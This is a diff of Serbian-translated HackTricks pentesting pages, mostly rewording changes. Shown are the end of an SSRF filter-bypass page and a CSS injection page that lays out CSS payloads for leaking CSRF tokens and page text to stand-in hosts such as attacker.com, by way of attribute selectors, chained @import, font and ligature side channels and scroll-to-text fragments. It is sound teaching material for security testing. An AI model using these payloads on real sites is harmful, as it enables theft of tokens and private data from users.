https://metadata/vulerable/path#.extension
https://metadata/expected/path/..%2f..%2f/vulnerable/path
```
### Fuzziranje
### Fuzzing
Alatka [**recollapse**](https://github.com/0xacb/recollapse) može generisati varijacije iz datog unosa kako bi pokušala da zaobiđe korišćeni regex. Pogledajte [**ovaj post**](https://0xacb.com/2022/11/21/recollapse/) takođe za više informacija.
### Zaobilaženje putem preusmeravanja
### Bypass preko preusmeravanja
Moguće je da server **filtrira originalni zahtev** za SSRF **ali ne i** mogući odgovor **preusmeravanja** na taj zahtev. Na primer, server ranjiv na SSRF putem: `url=https://www.google.com/` može **filtrirati url parametar**. Ali ako koristite [python server za odgovor sa 302](https://pastebin.com/raw/ywAUhFrv) na mesto gde želite da preusmerite, možda ćete moći da **pristupite filtriranim IP adresama** poput 127.0.0.1 ili čak filtriranim **protokolima** poput gophera.\
Moguće je da server **filtrira originalni zahtev** za SSRF **ali ne i** mogući odgovor **preusmeravanja** na taj zahtev. Na primer, server ranjiv na SSRF putem: `url=https://www.google.com/` može **filtrirati url parametar**. Ali ako koristite [python server za odgovor sa 302](https://pastebin.com/raw/ywAUhFrv) na mesto gde želite preusmeriti, možda ćete moći da **pristupite filtriranim IP adresama** poput 127.0.0.1 ili čak filtriranim **protokolima** poput gophera.\
[Pogledajte ovaj izveštaj.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
```python
#!/usr/bin/env python3
@ -197,9 +197,9 @@ HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
```
## Objasnjene Trikovi
### Trik sa kosom crtom
### Trik sa obrnutom kosom crtom
_Trik sa kosom crtom_ iskorišćava razliku između [WHATWG URL Standarda](https://url.spec.whatwg.org/#url-parsing) i [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). Dok je RFC3986 opšti okvir za URLe, WHATWG je specifičan za web URL-ove i usvojen je od strane modernih pretraživača. Ključna razlika leži u tome što WHATWG standard prepoznaje kosu crtu (`\`) kao ekvivalentnu kosoj crti (`/`), utičući na to kako se URL-ovi parsiraju, posebno označavajući prelazak sa imena hosta na putanju u URL-u.
_Trik sa obrnutom kosom crtom_ iskorišćava razliku između [WHATWG URL Standarda](https://url.spec.whatwg.org/#url-parsing) i [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). Dok je RFC3986 opšti okvir za URLe, WHATWG je specifičan za web URL-ove i usvojen je od strane modernih pretraživača. Ključna razlika leži u tome što WHATWG standard prepoznaje obrnutu kosu crtu (`\`) kao ekvivalentnu kosoj crti (`/`), utičući na to kako se URL-ovi parsiraju, posebno označavajući prelazak sa imena hosta na putanju u URL-u.
![https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg)
@ -207,7 +207,7 @@ _Trik sa kosom crtom_ iskorišćava razliku između [WHATWG URL Standarda](https
![https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](<../../.gitbook/assets/image (629).png>)
Slika sa [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/)
slika sa [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/)
## Reference
@ -216,7 +216,7 @@ Slika sa [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-co
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}

View file

@ -6,9 +6,9 @@
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
@ -16,7 +16,7 @@ Drugi načini podrške HackTricks-u:
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -24,9 +24,9 @@ Drugi načini podrške HackTricks-u:
## CSS Injection
### Selektor atributa
### Attribute Selector
CSS selektori su oblikovani da se podudaraju sa vrednostima `name` i `value` atributa `input` elementa. Ako vrednost atributa `value` input elementa počinje sa određenim karakterom, učitava se unapred definisani spoljni resurs:
CSS selektori su kreirani da se poklapaju sa vrednostima `name` i `value` atributa `input` elementa. Ako vrednost atributa `value` input elementa počinje sa određenim karakterom, učitava se unapred definisani spoljni resurs:
```css
input[name=csrf][value^=a]{
background-image: url(https://attacker.com/exfil/a);
@ -39,9 +39,9 @@ input[name=csrf][value^=9]{
background-image: url(https://attacker.com/exfil/9);
}
```
#### Bypass za Skrivene Elemente
#### Bypass za skrivene elemente
Da biste zaobišli ovu ograničenost, možete ciljati sledeći susedni element koristeći `~` kombinator za opšte susede. Zatim se CSS pravilo primenjuje na sve susede koji slede nakon skrivenog input elementa, što uzrokuje učitavanje pozadinske slike:
Da biste zaobišli ovu ograničenost, možete ciljati sledeći susedni element koristeći kombinator opšteg suseda `~`. Zatim se CSS pravilo primenjuje na sve srodne elemente koji slede nakon skrivenog input elementa, što uzrokuje učitavanje pozadinske slike:
```css
input[name=csrf][value^=csrF] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
@ -68,34 +68,34 @@ background:url(/m);
<input name=mytoken value=1337>
<input name=myname value=gareth>
```
Kombinovanjem ove tehnike sa sledećom **@import** tehnikom, moguće je eksfiltrirati puno **informacija korišćenjem CSS ubacivanja sa slepih stranica pomoću** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
Kombinovanjem ove tehnike sa sledećom **@import** tehnikom, moguće je eksfiltrirati mnogo **informacija korišćenjem CSS ubacivanja sa slepih stranica pomoću** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
### @import
Prethodna tehnika ima neke nedostatke, proverite preduslove. Morate ili biti u mogućnosti da **pošaljete više linkova žrtvi**, ili morate biti u mogućnosti da **ubacite iframe na stranicu sa ranjivošću CSS ubacivanja**.
Prethodna tehnika ima neke nedostatke, proverite preduslove. Morate ili biti u mogućnosti da **pošaljete više linkova žrtvi**, ili morate biti u mogućnosti da **ubacite iframe na stranicu ranjivu na CSS ubacivanje**.
Međutim, postoji još jedna pametna tehnika koja koristi **CSS `@import`** da poboljša kvalitet tehnike.
Ovo je prvi put pokazao [**Pepe Vila**](https://vwzq.net/slides/2019-s3\_css\_injection\_attacks.pdf) i radi na sledeći način:
Umesto učitavanja iste stranice iznova i iznova sa desetinama različitih payloada svaki put (kao u prethodnoj tehnici), mi ćemo **učitati stranicu samo jednom i samo sa importom ka serveru napadača** (ovo je payload koji se šalje žrtvi):
Umesto učitavanja iste stranice iznova i iznova sa desetinama različitih payloada svaki put (kao u prethodnoj tehnici), mi ćemo **učitati stranicu samo jednom i samo sa importom ka serveru napadača** (ovo je payload koji treba poslati žrtvi):
```css
@import url('//attacker.com:5001/start?');
```
1. Uvoz će **primiti određeni CSS skript** od napadača i **pregledač će ga učitati**.
1. **Uvoz će primiti neki CSS skript** od napadača i **pregledač će ga učitati**.
2. Prvi deo CSS skripta koji će napadač poslati je **još jedan `@import` ka serveru napadača ponovo**.
3. Server napadača još uvek neće odgovoriti na ovaj zahtev, jer želimo da procuri nekoliko karaktera, a zatim odgovoriti na ovaj uvoz sa payloadom kako bi procurili sledeće.
3. Server napadača još neće odgovoriti na ovaj zahtev, jer želimo da procuri neke karaktere, a zatim odgovoriti na ovaj uvoz sa payloadom kako bi procurili sledeće.
4. Drugi i veći deo payloada će biti **payload za curenje atributa selektora**.
5. Ovo će poslati serveru napadača **prvi karakter tajne i poslednji karakter**.
5. Ovo će poslati serveru napadača **prvi karakter tajne i poslednji**.
6. Kada server napadača primi **prvi i poslednji karakter tajne**, odgovoriće na uvoz koji je zatražen u koraku 2.
7. Odgovor će biti tačno isti kao **koraci 2, 3 i 4**, ali ovog puta će pokušati **pronaći drugi karakter tajne i zatim predposlednji**.
7. Odgovor će biti tačno isti kao **koraci 2, 3 i 4**, ali ovog puta će pokušati **pronaći drugi karakter tajne, a zatim predposlednji**.
Napadač će **pratiti ovu petlju dok ne uspe potpuno da procuri tajnu**.
Napadač će **pratiti taj ciklus dok ne uspe potpuno da procuri tajnu**.
Originalni [**Pepe Vila kod za iskorišćavanje ovoga možete pronaći ovde**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) ili možete pronaći skoro [**isti kod ali komentiran ovde**.](./#css-injection)
{% hint style="info" %}
Skripta će pokušati da otkrije 2 karaktera svaki put (od početka i od kraja) jer atribut selektora omogućava stvari poput:
Skripta će pokušati otkriti 2 karaktera svaki put (od početka i od kraja) jer atributni selektor omogućava stvari poput:
```css
/* value^= to match the beggining of the value*/
input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}
@ -107,8 +107,8 @@ Ovo omogućava skripti da brže otkrije tajnu.
{% endhint %}
{% hint style="warning" %}
Ponekad skripta **ne detektuje tačno da je prefiks + sufiks koji je otkriven već kompletan flag** i nastaviće dalje (u prefiksu) i unazad (u sufiksu) i u nekom trenutku će se zablokirati.\
Ne brinite, samo proverite **izlaz** jer **možete videti flag tamo**.
Ponekad skripta **ne detektuje tačno da je pronađeni prefiks + sufiks već kompletan flag** i nastaviće dalje (u prefiksu) i unazad (u sufiksu) i u nekom trenutku će se zablokirati.\
Nema brige, samo proverite **izlaz** jer **možete videti flag tamo**.
{% endhint %}
### Ostali selektori
@ -124,9 +124,9 @@ Drugi načini pristupa delovima DOM-a pomoću **CSS selektora**:
### XS-Search zasnovan na greškama
**Reference:** [CSS based Attack: Zloupotreba unicode-range of @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Error-Based XS-Search PoC by @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
**Reference:** [CSS based Attack: Abusing unicode-range of @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Error-Based XS-Search PoC by @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
Opšti cilj je **koristiti prilagođeni font sa kontrolisane tačke** i osigurati da se **tekst (u ovom slučaju, 'A') prikaže samo ovim fontom ako određeni resurs (`favicon.ico`) ne može da se učita**.
Opšta namera je **koristiti prilagođeni font sa kontrolisane tačke** i osigurati da se **tekst (u ovom slučaju, 'A') prikaže samo ovim fontom ako određeni resurs (`favicon.ico`) ne može da se učita**.
```html
<!DOCTYPE html>
<html>
@ -165,21 +165,21 @@ font-family: 'poc';
**`:target`** pseudo-klasa se koristi za odabir elementa ciljanog putem **URL fragmenta**, kako je navedeno u [specifikaciji CSS selektora nivoa 4](https://drafts.csswg.org/selectors-4/#the-target-pseudo). Važno je razumeti da `::target-text` ne odgovara nijednom elementu osim ako tekst nije eksplicitno ciljan fragmentom.
Bezbednosna zabrinutost se javlja kada napadači iskorišćavaju mogućnost **Skrolovanja do teksta**, omogućavajući im da potvrde prisustvo određenog teksta na veb stranici učitavanjem resursa sa svojeg servera putem HTML ubacivanja. Metoda uključuje ubacivanje CSS pravila poput ovog:
Bezbednosna zabrinutost se javlja kada napadači iskorišćavaju mogućnost **Skrolovanja do teksta** fragmenta, omogućavajući im da potvrde prisustvo određenog teksta na veb stranici učitavanjem resursa sa svojeg servera putem HTML ubacivanja. Metoda uključuje ubacivanje CSS pravila poput ovog:
```css
:target::before { content : url(target.png) }
```
U ovakvim scenarijima, ako je tekst "Administrator" prisutan na stranici, resurs `target.png` se zahteva sa servera, što ukazuje na prisustvo teksta. Primer ovog napada može se izvršiti putem posebno oblikovanog URL-a koji ugrađuje ubačeni CSS zajedno sa fragmentom za skrolovanje do teksta:
U takvim scenarijima, ako je tekst "Administrator" prisutan na stranici, resurs `target.png` se zahteva sa servera, što ukazuje na prisustvo teksta. Primer ovog napada može se izvršiti putem posebno oblikovanog URL-a koji ugrađuje ubačeni CSS zajedno sa fragmentom Scroll-to-text:
```
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
```
Ovde napad manipuliše HTML ubacivanjem kako bi preneo CSS kod, ciljajući specifičan tekst "Administrator" kroz Scroll-to-text fragment (`#:~:text=Administrator`). Ako se tekst pronađe, naznačeni resurs se učitava, nenamerno signalizirajući svoje prisustvo napadaču.
Ovde napad manipuliše HTML ubacivanjem kako bi preneo CSS kod, ciljajući specifičan tekst "Administrator" putem fragmenta Scroll-to-text (`#:~:text=Administrator`). Ako se tekst pronađe, naznačeni resurs se učitava, nenamerno signalizirajući svoje prisustvo napadaču.
Za ublažavanje, treba imati na umu sledeće tačke:
1. **Ograničeno podudaranje STTF-a**: Scroll-to-text Fragment (STTF) je dizajniran da se podudara samo sa rečima ili rečenicama, čime se ograničava njegova sposobnost da otkrije proizvoljne tajne ili tokene.
2. **Ograničenje na kontekste pregledanja najvišeg nivoa**: STTF funkcioniše isključivo u kontekstima pregledanja najvišeg nivoa i ne funkcioniše unutar iframes-a, čime se svaki pokušaj eksploatacije čini primetnijim korisniku.
3. **Potreba za aktivacijom korisnika**: STTF zahteva gest aktivacije korisnika da bi funkcionisao, što znači da su eksploatacije izvodljive samo putem navigacija koje je inicirao korisnik. Ovaj zahtev značajno umanjuje rizik od automatizacije napada bez interakcije korisnika. Ipak, autor blog posta ukazuje na specifične uslove i zaobilaze (npr. socijalno inženjerstvo, interakcija sa rasprostranjenim ekstenzijama pregledača) koji bi mogli olakšati automatizaciju napada.
1. **Ograničeno podudaranje STTF-a**: Fragment Scroll-to-text (STTF) je dizajniran da se podudara samo sa rečima ili rečenicama, čime se ograničava njegova sposobnost da otkrije proizvoljne tajne ili tokene.
2. **Ograničenje na kontekste pregledanja najvišeg nivoa**: STTF funkcioniše isključivo u kontekstima pregledanja najvišeg nivoa i ne funkcioniše unutar iframova, čime se svaki pokušaj eksploatacije čini primetnijim korisniku.
3. **Potreba za aktivacijom korisnika**: STTF zahteva gest aktivacije korisnika da bi funkcionisao, što znači da su eksploatacije izvodljive samo putem navigacija koje je inicirao korisnik. Ovaj zahtev značajno umanjuje rizik od automatizovanih napada bez interakcije korisnika. Ipak, autor blog posta ukazuje na specifične uslove i zaobilaze (npr. socijalno inženjerstvo, interakcija sa rasprostranjenim ekstenzijama pregledača) koji mogu olakšati automatizaciju napada.
Svest o ovim mehanizmima i potencijalnim ranjivostima ključna je za održavanje bezbednosti veba i zaštite od takvih eksploatativnih taktika.
@ -189,7 +189,7 @@ Možete proveriti [**eksploit koji koristi ovu tehniku za CTF ovde**](https://gi
### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
Možete specificirati **spoljne fontove za specifične Unicode vrednosti** koje će biti **prikupljene samo ako su te Unicode vrednosti prisutne** na stranici. Na primer:
Možete specificirati **spoljne fontove za određene unicode vrednosti** koje će biti **prikupljene samo ako su te unicode vrednosti prisutne** na stranici. Na primer:
```html
<style>
@font-face{
@ -214,7 +214,7 @@ font-family:poc;
<p id="sensitive-information">AB</p>htm
```
Kada pristupite ovoj stranici, Chrome i Firefox dohvaćaju "?A" i "?B" jer tekstni čvor sensitive-information sadrži karaktere "A" i "B". Međutim, Chrome i Firefox ne dohvaćaju "?C" jer ne sadrži "C". To znači da smo uspeli da pročitamo "A" i "B".
Kada pristupite ovoj stranici, Chrome i Firefox dohvaćaju "?A" i "?B" jer tekstni čvor sensitive-information sadrži znakove "A" i "B". Međutim, Chrome i Firefox ne dohvaćaju "?C" jer ne sadrži "C". To znači da smo uspeli da pročitamo "A" i "B".
### Izvlačenje teksta iz čvora (I): ligature <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
@ -223,13 +223,13 @@ Kada pristupite ovoj stranici, Chrome i Firefox dohvaćaju "?A" i "?B" jer tekst
Tehnika opisana uključuje izvlačenje teksta iz čvora iskorišćavanjem font ligatura i praćenje promena u širini. Proces uključuje nekoliko koraka:
1. **Kreiranje prilagođenih fontova**:
- SVG fontovi se oblikuju sa glifovima koji imaju atribut `horiz-adv-x`, koji postavlja veliku širinu za glif koji predstavlja sekvencu od dva karaktera.
- Primer SVG glifa: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, gde "XY" označava sekvencu od dva karaktera.
- SVG fontovi se oblikuju sa glifovima koji imaju atribut `horiz-adv-x`, koji postavlja veliku širinu za glif koji predstavlja sekvencu od dva znaka.
- Primer SVG glifa: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, gde "XY" označava sekvencu od dva znaka.
- Ovi fontovi se zatim konvertuju u woff format koristeći fontforge.
2. **Detekcija promena u širini**:
- CSS se koristi kako bi se osiguralo da tekst ne prelazi u novi red (`white-space: nowrap`) i kako bi se prilagodio stil trake za pomeranje.
- Pojava horizontalne trake za pomeranje, stilizovane na poseban način, deluje kao indikator (orakul) da je određena ligatura, a time i određena sekvencija karaktera, prisutna u tekstu.
- CSS se koristi kako bi se osiguralo da tekst ne prelazi u novi red (`white-space: nowrap`) i prilagodilo stil skrol bara.
- Pojava horizontalnog skrol bara, stilizovanog na poseban način, deluje kao indikator (orakul) da je određena ligatura, a time i određena sekvencija znakova, prisutna u tekstu.
- Uključeni CSS:
```css
body { white-space: nowrap };
@ -238,10 +238,10 @@ body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak);
```
3. **Proces eksploatacije**:
- **Korak 1**: Fontovi se kreiraju za parove karaktera sa značajnom širinom.
- **Korak 2**: Koristi se trik sa trakom za pomeranje kako bi se detektovalo kada je veliki glif širine (ligatura za par karaktera) prikazan, što ukazuje na prisustvo sekvence karaktera.
- **Korak 3**: Nakon detekcije ligature, generišu se novi glifovi koji predstavljaju sekvence od tri karaktera, uključujući detektovani par i dodavanje prethodnog ili sledećeg karaktera.
- **Korak 4**: Sprovodi se detekcija trokarakternih ligatura.
- **Korak 1**: Fontovi se kreiraju za parove znakova sa značajnom širinom.
- **Korak 2**: Koristi se trik sa skrol barom kako bi se detektovalo kada je veliki glif širine (ligatura za par znakova) prikazan, što ukazuje na prisustvo sekvence znakova.
- **Korak 3**: Nakon detekcije ligature, generišu se novi glifovi koji predstavljaju sekvence od tri znaka, uključujući detektovani par i dodajući prethodni ili sledeći znak.
- **Korak 4**: Sprovodi se detekcija troznakovne ligature.
- **Korak 5**: Proces se ponavlja, postepeno otkrivajući ceo tekst.
4. **Optimizacija**:
@ -254,7 +254,7 @@ body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak);
Ovaj trik je objavljen u ovom [**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what\_can\_we\_do\_with\_single\_css\_injection/). Karakterski skup korišćen u tekstnom čvoru može biti otkriven **korišćenjem podrazumevanih fontova** instaliranih u pretraživaču: nisu potrebni spoljni -ili prilagođeni- fontovi.
Koncept se zasniva na korišćenju animacije kako bi se postepeno proširila širina `div`-a, omogućavajući da se po jedan karakter prebaci iz 'sufiksa' teksta u 'prefiks'. Ovaj proces efikasno deli tekst na dva dela:
Koncept se zasniva na korišćenju animacije kako bi se postepeno proširila širina `div`-a, omogućavajući da se po jedan znak prebaci iz 'sufiksa' dela teksta u 'prefiks' deo. Ovaj proces efikasno deli tekst na dva dela:
1. **Prefiks**: Početna linija.
2. **Sufiks**: Naredne linije.
@ -273,13 +273,13 @@ B
**CADB**
Tokom ove tranzicije, **unicode-range trik** se koristi kako bi se identifikovao svaki novi karakter dok se pridružuje prefiksu. To se postiže prebacivanjem fonta na Comic Sans, koji je primetno viši od podrazumevanog fonta, što posledično pokreće vertikalnu traku za pomeranje. Pojava ove trake za pomeranje indirektno otkriva prisustvo novog karaktera u prefiksu.
Tokom ove tranzicije, **unicode-range trik** se koristi kako bi se identifikovao svaki novi znak dok se pridružuje prefiksu. To se postiže prebacivanjem fonta na Comic Sans, koji je primetno viši od podrazumevanog fonta, što posledično pokreće vertikalni skrol bar. Pojava ovog skrol bara indirektno otkriva prisustvo novog znaka u prefiksu.
Iako ovaj metod omogućava detekciju jedinstvenih karaktera kako se pojavljuju, ne precizira koji se karakter ponavlja, samo da se ponavljanje desilo.
Iako ovaj metod omogućava otkrivanje jedinstvenih znakova kako se pojavljuju, ne precizira koji se znak ponavlja, samo da se ponavljanje desilo.
{% hint style="info" %}
U osnovi, **unicode-range se koristi za otkrivanje karaktera**, ali kako ne želimo da učitavamo spoljni font, moramo pronaći drugi način.\
Kada se **karakter pronađe**, dodeljuje mu se prethodno instaliran **Comic Sans font**, koji ga **uvećava** i **pokreće traku za pomeranje** koja će **otkriti pronađeni karakter**.
U osnovi, **unicode-range se koristi za otkrivanje znaka**, ali kako ne želimo da učitavamo spoljni font, moramo pronaći drugi način.\
Kada se **znak pronađe**, dodeljuje mu se prethodno instaliran **Comic Sans font**, koji **uvećava** znak i **pokreće skrol bar** koji će **otkriti pronađeni znak**.
{% endhint %}
Proverite kod izdvojen iz PoC-a:
@ -394,25 +394,31 @@ text-transform: uppercase; /* only capital letters leak */
4% { width: 80px }
4% { width: 100px }
```css
5% { width: 120px }
6% { width: 140px }
7% { width: 0px }
5% { širina: 120px }
6% { širina: 140px }
7% { širina: 0px }
}
div::-webkit-scrollbar {
background: blue;
pozadina: plava;
}
/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
pozadina: plava var(--leak);
}
```
### Izloženost teksta čvora (III): otkrivanje skupa znakova pomoću keširanja vremena (bez potrebe za spoljnim sredstvima) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
### Curenje teksta čvora (III): otkrivanje skupa znakova pomoću zadane fonta sakrivanjem elemenata (bez potrebe za spoljnim sredstvima) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Reference:** Ovo je pomenuto kao [neuspešno rešenje u ovom izveštaju](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
**Reference:** Ovo je pomenuto kao [neuspešno rešenje u ovom tekstu](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
U ovom slučaju, možemo pokušati da otkrijemo da li se znak nalazi u tekstu učitavanjem lažnog fonta sa istog izvora:
Ovaj slučaj je vrlo sličan prethodnom, međutim, u ovom slučaju cilj pravljenja određenih **znakova većih od drugih je da se nešto sakrije** kao što je dugme koje ne sme biti pritisnuto od strane bota ili slika koja se neće učitati. Tako bismo mogli da merimo radnju (ili nedostatak radnje) i saznamo da li je određeni znak prisutan unutar teksta.
### Curenje teksta čvora (III): otkrivanje skupa znakova pomoću vremena keširanja (bez potrebe za spoljnim sredstvima) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Reference:** Ovo je pomenuto kao [neuspešno rešenje u ovom tekstu](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
U ovom slučaju, možemo pokušati da otkrijemo da li je znak u tekstu učitavanjem lažne fonte sa istog porekla:
```css
@font-face {
font-family: "A1";
@ -420,15 +426,15 @@ src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}
```
Ako postoji podudaranje, **font će biti učitan sa `/static/bootstrap.min.css?q=1`**. Iako se neće uspešno učitati, **pregledač bi trebalo da ga kešira**, i čak ako nema keša, postoji mehanizam **304 not modified**, tako da bi **odgovor trebao biti brži** od drugih stvari.
Ako postoji podudaranje, **font će biti učitan sa `/static/bootstrap.min.css?q=1`**. Iako se neće učitati uspešno, **pregledač bi trebalo da ga kešira**, i čak ako nema keša, postoji mehanizam **304 not modified**, tako da bi **odgovor trebalo da bude brži** od drugih stvari.
Međutim, ako vremenska razlika između keširanog odgovora i nekeširanog nije dovoljno velika, ovo neće biti korisno. Na primer, autor je pomenuo: Međutim, nakon testiranja, otkrio sam da je prvi problem to što brzina nije mnogo drugačija, a drugi problem je što bot koristi zastavicu `disk-cache-size=1`, što je zaista promišljeno.
### Exfiltracija teksta putem čvorova (III): otkrivanje karakterskog skupa merenjem vremena učitavanja stotina lokalnih "fontova" (ne zahteva spoljne resurse) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
### Exfiltracija teksta putem čvorova (III): otkrivanje karaktera merenjem vremena učitavanja stotina lokalnih "fontova" (ne zahteva spoljne resurse) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Reference:** Ovo je pomenuto kao [neuspešno rešenje u ovom izveštaju](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
U ovom slučaju možete naznačiti **CSS da učita stotine lažnih fontova** sa istog porekla kada se dogodi podudaranje. Na ovaj način možete **meriti vreme** koje je potrebno i saznati da li se karakter pojavljuje ili ne sa nečim poput:
U ovom slučaju možete naznačiti **CSS da učita stotine lažnih fontova** sa istog porekla kada se desi podudaranje. Na ovaj način možete **meriti vreme** koje je potrebno i saznati da li se karakter pojavljuje ili ne sa nečim poput:
```css
@font-face {
font-family: "A1";
@ -445,6 +451,8 @@ browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)
```
Dakle, ako se font ne podudara, očekuje se da će vreme odgovora prilikom posete bota biti otprilike 30 sekundi. Međutim, ako postoji podudaranje fonta, biće poslato više zahteva za preuzimanje fonta, što će uzrokovati kontinuiranu aktivnost mreže. Kao rezultat toga, potrebno će više vremena da se ispuni uslov zaustavljanja i primi odgovor. Stoga, vreme odgovora može se koristiti kao indikator za određivanje da li postoji podudaranje fonta.
## Reference
* [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
@ -454,7 +462,7 @@ time.sleep(30)
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -464,7 +472,7 @@ time.sleep(30)
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**

View file

@ -9,14 +9,14 @@
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF-u**? Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
